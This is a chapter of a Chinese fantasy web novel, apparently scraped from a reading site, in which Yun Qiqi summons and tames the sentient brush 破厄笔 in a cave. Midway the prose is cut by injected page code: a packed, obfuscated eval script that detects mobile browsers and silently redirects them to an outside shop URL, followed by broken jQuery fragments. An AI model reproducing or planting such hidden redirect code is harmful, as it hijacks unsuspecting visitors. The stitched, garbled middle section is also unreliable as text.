云柒柒此刻内心后悔不已。
当初破坏阵法时,谁能料到这个阵法竟然这么重要呢?
如果连精通阵法的重尧都束手无策,那大概是真的完了。
面对如此糟糕的状况,众人心中都有些失落。
“其实,还有一个办法。”
一道清朗的声音忽然响起。
咦?
云柒柒下意识抬头,望向出声之人,其余人也纷纷循声望去。
“小白!是什么办法?”她眼中闪过一丝希冀,语气略显激动。
“找到破厄笔。”程启白目光沉静地看向众人。
清晰明了的字眼配上他那坚定有力的声音,霎时回响在洞窟内,回荡至众人的耳边。
原本还处于失望中的众人,眼底顿时重新燃起了希望。
不过——
“破厄笔?那又是什么?”
云柒柒替众人问出了心中的疑惑。
程启白解释道:“传闻中,破厄笔乃是慧圣人的法宝,有着构筑阵法、连通渊墟的能力。想来当初三圣人前往渊墟之地,便是借助了这一法宝的力量。若能寻得破厄笔,阵法便有修复的可能。”
云柒柒听完,不由得眼睛一亮:“居然还有这么厉害的法宝!”
如此说来,这个阵法还有救!
唯有江藜踌躇片刻,还是忍不住开口道:“可传说自三圣人消失之后,破厄笔亦不知所踪。想要寻到它,谈何容易?除非……”
云柒柒刚刚扬起的嘴角,又微微耷拉下来。
好不容易有了转机,转眼就被泼了一盆冷水。
但她仍强打起精神,追问道:“除非什么?”
“除非慧圣人将它藏在了画中村内。”苏沐扫视众人,默契地替江藜补全了后半句话。
“两位说得都没错。”程启白出声赞叹道,“不过除了破厄笔,世间应当再无其他法宝可激活此处的上古阵法。因此我推测,破厄笔必然藏身于画中村内。当务之急,便是将其找到。”
此言一出,众人皆陷入了沉思。
既然三圣人离开之时在此处留下了前往渊墟之地的阵法,那么为了防止此地的阵法被破坏,必然也留下了解决之法。
况且三圣人中的慧圣人擅长推演之法,素来便有算无遗策之称,或许正如程启白所言,为后人留下了关键之物——破厄笔。
“武叔,您觉得呢?”云婉思忖片刻,转而望向武叔。
武叔久居画中村,或许知道些什么。
“哈哈,程少主所言不差。”武叔眼含赞赏地看向程启白,“破厄笔的确被三圣人留在了画中村内,且就藏于这山洞之中。”
有了武叔的肯定,众人紧绷的神色不自觉地缓和下来。
苏沐笑着接过话:“如此说来,只要我们能够找到破厄笔,便能修复好阵法,顺利前往渊墟之地了。”
“太好了,山重水复疑无路,柳暗花明又一村,我们还有希望!”云柒柒语气轻快,沉积在眉宇间的阴霾一扫而空。
峰回路转,幸好还有补救的机会。
“先别高兴得太早。”程启白适时提醒道。
“嗯?”云柒柒面露不解。
“你们之中可有人见过破厄笔?可又知晓它究竟是何模样?”重尧言辞犀利地提出了一个被众人忽视的问题。
“若是不知其貌,又该从何找起?若是乱找一通,不过是浪费时间罢了。”
“既然都叫破厄笔了,外形想来应当便是一支笔吧!”重明猜测道。
可惜他的猜测并未得到武叔的认可。
武叔摇头道:“破厄笔乃是神级法宝,自然与普通法宝不同。据说它有任意变换形态之能,如此一来,我们便无法仅凭外形辨认。若想找到它,的确很难。”
陆天星也补充道:“还有一点,这山洞看似不大,实则暗藏玄机。洞窟内暗藏无数迷阵与幻阵,若是盲目寻找,反倒容易迷失其中。”
对此,云柒柒简直深有体会。
想当初他们一行人便曾被困在山洞之中,像无头苍蝇一般寻不到出路。
于是她问道:“武叔,还有没有其他更好的办法?”
武叔沉默了片刻,才说道:“有。”
云婉连忙追问道:“不知是何办法?”
武叔:“据说澄心佩与破厄笔之间有着特殊的感应,以澄心佩召唤,或可一试。”
又是澄心佩!
云柒柒顿时觉得手中的玉佩有些烫手,拿也不是,扔也不是。
这块玉佩究竟是什么了不得的宝贝,怎么干什么都要用到它?
她仔细打量着手中的玉佩,实在是有些想不明白。
不过她心宽,想不明白便暂且放下。于是她很自觉地将玉佩递给了武叔,可武叔却没有接。
“重要的不是澄心佩,而是持有澄心佩的人。”武叔望着云柒柒,意味深长地说道。
“我吗?”云柒柒有些惊讶。
“对。”武叔点头,“只有你手持澄心佩召唤,破厄笔才会有回应。”
“莫非云柒柒身上有何特殊之处?”重明忍不住上下打量了她一番。
“因为纯净之心。”程启白一语道破。
“何为纯净之心?这又与澄心佩有何关系?与破厄笔又有何关系?”
重明愈发不解,干脆一口气将心中的疑惑全倒了出来。
“啧,都说了让你平时多看书!如今也不至于一问三不知。”重尧摇了摇头,无奈地看向重明,话语中满是怒其不争。
“你……呵!难道你们都知道?”重明不服气地反驳道。
“好了,都别争了,还是听听武叔怎么说吧。”云婉及时开口,阻止了即将上演的叔侄阋墙大戏。
见众人都消停了,武叔这才出声解释道:“相传,身怀纯净之心的人不易被邪气侵蚀,若是持有澄心佩,便可抵御三毒之气。”
“三圣人之一的慧圣人便身怀纯净之心,因此能够抵御三毒之气,从而建起无漏塔,组织大荒修道者共同净化灾物,为大荒保存了一块不被邪气侵蚀的净土。”
云婉点头:“原来如此。”
“说了这么多,所以纯净之心和澄心佩有什么关系?”重明有些不耐烦地追问道。
“只有拥有纯净之心的人,方能令澄心佩认主。”说到此处,武叔特意停顿了一下,目光落在云柒柒身上。
“因此,云柒柒乃是澄心佩的命定之主。”
话音刚一落下,众人便纷纷看向云柒柒,目光中有恍然,有惊异,也有平静无波。
骤然之间被这么多目光注视,云柒柒难免有些不自在,仿佛整个人都快要被这灼灼目光烫熟。
她也没想到自己竟如此特殊。
于是她赶紧说道:“先别管什么纯净之心了,还是先试试能不能召唤到破厄笔吧!武叔,您直接说吧,我该怎么做?”
武叔走到她面前,见她已经准备好了,这才开口指引道:“闭上眼睛,静心凝神,将灵力注入澄心佩中,用心感知破厄笔的存在,试着将它召唤过来。”
云柒柒依言闭眼,然后严格按照武叔的指引去做。
其他人默契地退后几步,在距离她三米远的地方停下,隐隐将她围在中间,形成一个保护圈。
封闭了视觉之后,人的感知就被无限放大。云柒柒的内心渐渐变得平静,隐约间,她感觉到黑暗中似乎有某个未知的存在,正微弱地牵引着她。
她的感知顺着那股微弱的力量延伸而去,恍惚间来到了一个特殊的空间。
那是一片白茫茫的世界,云柒柒的神思自由地穿梭其中。待到迷雾消散,她仿佛看到一位身形修长的男子,正伏在案几之上作画。
云柒柒忍不住靠近那位男子,却怎么也无法看清他的面容。不过很快,她的目光就被画作上的内容吸引住了。
画卷之中的场景,不正是画中村的景象吗?
她心中一喜,抬头看向男子手中的画笔,莫非这就是自己要找的破厄笔?
看起来和寻常的毛笔没有什么不同,似乎并无特别之处。
思绪流转间,那人已然完成了画作,眼看着就要将画笔收起。她飞快地扑过去,一把抓住了那支笔。
只是她的手刚碰到那支画笔,就像是触碰到了某种禁忌一般,神思一晃,再回神时已经被迫离开了那个白茫茫的空间,瞬间回到了身体里。
云柒柒猛地挣开眼睛,便看到一支画笔正悬浮在眼前,此刻正散发着淡淡的光芒。
“竟然真的被召唤出来了!”武叔望着那支笔,语气中满是感慨。
原本他也只是抱着试一试的想法,根本没有想到竟然一次便成功了。
咦?
云柒柒望着那支笔,心中生出几分疑惑。
不是,这支笔怎么有些像自己当初随手捡到的那根细木棍呢?
仔细一看,还真是!
怪不得当初破坏阵法时那般容易!
想到这里,她眼神一凛,伸手抓向那支笔。
可就在指尖即将触到笔身的瞬间,变故陡生。
那支笔像是有自己的意识一般,灵活地避开了她的手,先是在半空中绕了一圈,紧接着便朝洞窟外飞去。
云柒柒猝不及防间抓了个空,眼见那支笔要跑,下意识地追了上去。
其余人反应过来后,也纷纷出手试图拦下它。
那支笔很快就冲到了洞窟出口处,眼看着就要离开,却冷不丁被一道剑气挡了回去。
原来是反应迅速的陆天星察觉到了它的意图,提前拦在了洞窟出口处。
那支笔猝不及防之下被剑气击中,像是不高兴般在半空中跳了几下,可见到陆天星拦在出口处,它又不得不退回洞窟内。
虽然被迫回到了洞窟内,可它却很是狡猾,一直飞得高高的,就是不让任何人碰到。
大概是觉得反正也出不去,所以它开始忽高忽低地飞。
它的周身散发着幽幽微光,在洞窟内拖拽出一道道残影,宛如一只狡黠的流萤。
众人被这忽明忽暗的光线晃得眼花缭乱,追来追去,活像是被戏耍了一般。
云柒柒等人看出了它的意图,追逐的动作渐渐慢了下来。
没想到这样的举动却被破厄笔察觉,它很快又第二次靠近洞窟出口,试图离开。
只是这一次大家早有防备,时刻留意着它的行踪,还故意将它引到了出口处,想趁它落下之时一举抓获。
可没想到它居然只是虚晃一枪!
眼看着破厄笔就要靠近出口,洞窟内忽然刮起一阵怪风。
这风不知从何处来,呼啸着穿堂而过,卷起地上的碎石,毫无预兆地将山壁上挂着的几盏灯全都吹灭了。
四周瞬间陷入伸手不见五指的漆黑,唯有那支破厄笔得意地在半空中转了几圈,随后成功溜出了洞窟。
就在灯熄灭的前一刻,紧追其后的云柒柒本来都快要抓住它了,却被突如其来的黑暗干扰,不仅失去了目标,还差点儿一头撞在了山壁上。
幸好紧随其后的程启白见状不对,眼疾手快地一把拉住了她,不然非得撞个眼冒金星不可。
只是两人好不容易稳住摇摇欲坠的身形,还未曾站定,又被后面追来的重明狠狠地撞了一下。
这一撞,两人彻底失去平衡,双双滚落在地。
“柒柒!”
黑暗中,两道声音同时响起。
其中一道来自拉着云柒柒的程启白,另一道来自守在洞窟出口的陆天星。
一片混乱过后,终于有人取出了照明的器具。待到洞窟内重新迎来光明,众人一眼便注意到了躺在地上的云柒柒和程启白。
原来程启白为了避免云柒柒受伤,情急之下与她互换了位置,所以两人倒地时,程启白正好垫在了云柒柒的身下。
此刻云柒柒正姿势亲密地趴在他身上,而他的一只手也正揽着云柒柒的腰,另一只手则护在她的脑后。
好巧不巧,两人摔倒的位置恰好挡住了洞窟的出口,其他人追出去的步伐只能被迫停下。
江藜见状惊呼道:“哎呀,你们怎么摔倒了!没事吧?”
她正想上前扶起云柒柒,只是还没来得及迈开脚步,便被身旁的苏沐轻轻拉回。江藜回头,只见苏沐对她微微摇了摇头。
江藜瞬间明白了什么,两人对视一眼,露出了心照不宣的笑容。
另一边回过神来的云柒柒,也意识到了自己和程启白如今的姿势挡住了众人的去路,于是连忙起身让路。
“我没事……嘶!”她一边回应江藜,一边迅速起身,结果不知动到了哪里,突然一阵疼痛之感袭来,她忍不住叫出了声。
“柒柒,你怎么了?哪里受伤了?”程启白松开了揽着她的手,一脸关切地问道。
云柒柒一低头,便对上了程启白满含深情的视线。
她愣了一下,随即飞快地眨了眨眼睛,忍不住扬起了嘴角。
“没有受伤。”
她起身后回道,看向还躺在地上的程启白,下意识地伸出手,对他说道:“快起来吧。”
程启白的视线从她脸上移开,落到了她伸出的那只手上,笑着握住她的手,借力起身。
云柒柒见众人的目光都集中到了自己身上,有些掩耳盗铃地替程启白拍了拍衣服上的灰尘,问道:“小白,你没受伤吧?”
程启白摇了摇头。
忽然云柒柒想到了什么,神色一变,大喊道:“欸,那支笔!快追,别让它跑了!”
这一声惊呼唤醒了沉迷看戏的众人。
神色黯然的陆天星最先反应过来,见云柒柒已然无事,便立刻顺着破厄笔离开的方向追去。
云柒柒喊完也利索地追了出去,其动作之快,连离她最近的程启白都没来得及拉住人。
他无奈地笑了笑,只好跟在云柒柒身后追了过去。
留在原地的众人见无戏可看,也没了堵在出口的障碍物,便也纷纷动身追了出去。
接下来的追逐宛如猫捉老鼠,只是那只作为老鼠的破厄笔实在是太过于狡猾了,把一群猫戏耍得团团转。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709390|204393||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
众人在山洞里绕了一圈又一圈,凌乱的脚步声和急促的喘息声在幽深的洞壁间来回激荡,化作重重叠叠的回音。
每次都眼看着就要将那支笔成功抓住了,结果一个不慎又被它逃掉了。
绕了七八圈后,云柒柒又一次追到山洞的拐角处,不过这一次她突然停下了脚步。
她总觉得那支笔像是在耍着他们玩,为了验证这一猜测,她便故意停了下来,没有再继续追过去。
没想到过了一会后,那支笔竟然折返回来了,正在拐角处探头探脑地瞧。
云柒柒望着那支悬浮在半空中,还不断引诱着自己的破厄笔,简直要被气笑了。
“好啊!原来你还真是在耍着我们玩呢!”
遥想当初第一次捡到它的时候,是多么地安静,多么地乖巧啊!
如今大家陪着它在山洞里绕来绕去,它倒是玩得不亦乐乎,其他人可就累惨了。
“我累了,你自个玩去吧!”
正好她也追累了,也不想再追了,所以她远远地对破厄笔说完这句话,便果断转过身,头也不回地走了。
那支笔像是有些疑惑,先是在半空中轻微地晃了晃,接着又小小地转了一个圈,仿佛是在确认什么。
见云柒柒真的头也不回地走了,还越走越远,它顿时呆愣在了半空中,仿佛不敢相信一般。
直到云柒柒的身影彻底消失,洞窟内顿时陷入了一片死寂,只有岩壁上渗水的滴答声在空荡荡地回响,破厄笔才有些急了,晃动的幅度更大,还下意识地往前追了几步。
可惜云柒柒始终不为所动,仍旧没有回头,自然也就没有看到它的各种小动作。
刚才为了追到这支笔,云柒柒和其他人走散了。走了好一会,她才在一条狭窄的道路上,碰到了形影不离的苏沐和江藜。
江藜见她往回走,有些不解地问道:“柒柒,你不去追那支笔了吗?”
云柒柒摆手道:“不追了,那支笔是在逗我们玩呢!走,我们还是回洞窟继续研究阵法吧。”
“啊?真的不追了?”江藜诧异道,“可我们不是要……”
“藜儿,听柒柒姑娘的,我们先回去。”苏沐对她使了个眼色,温和地打断了她还未来得及说完的话,随后拉着她便往回走。
江藜虽有不解,但还是乖乖地跟着两人返回洞窟。
回去的路上,他们又碰到了其他追过来的人,云柒柒都用同一个说辞将人忽悠住,带着人直接返回了洞窟。
她说:“天星说得没错,这山洞到处都是迷阵和幻阵,所以我们无论怎么追也追不上那支笔。既然这样,我们不如先回之前那个洞窟,或许武叔那里还有其他更好的办法。”
其他人虽有疑惑,但都聪明地没有当场提出质疑,而是顺着她的意思返回洞窟。
不久后,八人异常顺畅地回到了布有阵法的那个洞窟,见到了一直守在洞窟内的武叔。
武叔见他们所有人都回来了,却没有带着破厄笔,有些心急地问道:“怎么?你们没有追到它?”
云柒柒两手一摊,极为干脆地说道:“武叔,那支笔可太能跑了!我们都追累了,不追了。”
武叔闻言狠狠皱眉,神色也略有些不悦。他反问道:“你们不是急着要前往渊墟之地吗?若是没有破厄笔,阵法便无法启动!”
云柒柒忽然笑了:“武叔放心,我只是说不追了,又没说不需要破厄笔了。您往我们身后瞧一瞧,它不是自己跟过来了吗?”
众人顺着她的话往身后的洞窟入口处看去,果然看见了那支破厄笔。
此时它正忽上忽下地在洞窟入口处折腾着,像是在自娱自乐,也不知道在众人身后跟了多久。
见众人望过来,它几不可见地停顿了一瞬,很快便安静地立在了半空中。
过了一会,见众人没有反应,它又忍不住轻微地晃了晃,做出一副矜持的模样,与先前闹腾的模样简直是判若两笔。
原来方才云柒柒与苏沐两人碰面时,便暗中向苏沐传递了一个信息,隐晦地告诉他那支破厄笔正跟着自己。
苏沐很快便领悟了她的意思,所以后面才一直配合她将众人劝回洞窟。
“这是怎么回事?莫非它还有自己的意识不成?”重明语气惊奇地问道。
云柒柒挑了挑眉:“很显然,是的。”
“它居然有自我意识!难怪是神级法宝!”江藜同样语带惊叹地说道。
“唉,其实有意识也不好,都知道逗着我们玩了。”云柒柒摇了摇头,神情颇为苦恼地说道。
云婉问道:“接下来怎么办?若是我们继续追,它可能又会跑。”
“不会跑了。”云柒柒肯定道。
“这是为何?”苏沐好奇道。
云柒柒神色无奈地说道:“我也是刚刚才知道,原来它溜着我们玩,是因为许久没有见到人,太孤单了。它只是想让我们陪它玩而已。”
“它竟还会觉得孤单?”重明简直难以置信。
“会的。”陆天星开口解释道,“破厄笔虽从很久之前便产生了独立的意识,但它的意识宛如三四岁的孩童,所以会觉得孤单,也会想要有人陪它玩。”
众人听了,忍不住望向那支被称为神级法宝的破厄笔。
而那支笔正试着一点一点地挪进洞窟,颇有些做贼心虚的意味。
不愧是圣人之物!
云柒柒并未在意破厄笔的小动作,而是问道:“天星,我记得你以前经常去后山,是不是就是去陪它玩的?”
她记得自己刚到画中村的那会,不止一次碰到天星去后山,还因此多次被黑衣人抓住。
“嗯。”陆天星似是想起了什么,露出了一抹短暂的笑容。
“真是有意思的一件神级法宝!”重尧盯着半空中的破厄笔,眼中饶有兴味。
经此一事,在场众人都觉得自己涨见识了。
以前只知圣级之上还有神级法宝,可要说神级的法宝究竟有多厉害,众人也说不出个所以然来,如今算是知道了。
“来!”
云柒柒伸出手,对着破厄笔轻唤了一声。
众人只见破厄笔不过是犹豫了片刻,便稳稳地落到了云柒柒的手上。
云柒柒轻轻握住它,语气宠溺地对它说道:“以后可别再这么调皮了,不然可就没人愿意陪你玩了。”
破厄笔像是被说中了小心思一般,静静地待在她手中,彻底不动了。
程启白见状,笑了笑:“柒柒,看来它很听你的话。”
云柒柒看着手中乖巧不已的破厄笔,猜测道:“难道是因为我与它之间有特殊感应?”
程启白失笑道:“不,是它已经真心认你为主了。”
云柒柒惊讶道:“认主?什么时候的事情?我怎么不知道?”
迄今为止,她也就见了这笔两次,怎么就认主了呢?
“或许是在初见的时候。”程启白目光柔和地望着她。
任何一个在黑暗中踽踽独行的人,大概都无法拒绝那一束明亮的光吧。